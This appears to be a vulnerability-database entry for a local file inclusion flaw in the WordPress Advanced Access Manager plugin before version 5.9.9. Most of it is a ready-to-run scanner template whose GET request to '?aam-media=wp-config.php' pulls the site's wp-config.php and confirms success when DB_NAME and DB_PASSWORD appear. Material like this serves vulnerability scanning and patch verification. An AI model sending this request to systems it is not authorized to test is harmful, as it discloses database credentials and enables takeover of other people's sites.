advanced-access-manager-lfi: WordPress Advanced Access Manager < 5.9.9 - Local File Inclusion

2025-08-01 WordPress Advanced Access Manager PoC Public

Description

WordPress Advanced Access Manager versions before 5.9.9 are vulnerable to local file inclusion and allows attackers to download the wp-config.php file and get access to the database, which is publicly reachable on many servers.

PoC

id: advanced-access-manager-lfi

info:
  name: WordPress Advanced Access Manager < 5.9.9 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    WordPress Advanced Access Manager versions before 5.9.9 are vulnerable to local file inclusion and allows attackers to download the wp-config.php file and get access to the database, which is publicly reachable on many servers.
  reference:
    - https://wpscan.com/vulnerability/9873
    - https://id.wordpress.org/plugins/advanced-access-manager/
    - https://wpscan.com/vulnerability/dfe62ff5-956c-4403-b3fd-55677628036b
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22,CWE-73
  metadata:
    max-request: 1
  tags: wordpress,wp-plugin,lfi,wp,accessmanager,wpscan,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?aam-media=wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220657f8b815d24b53046db84eff7fa2e1692026d56714e873951e5139e787d8c5a022074819dd0053d2d72dc638c72a3ceac52c7d590a75cf3f74580c93ef667650c64:922c64590222798bb761d5b6d8e72950

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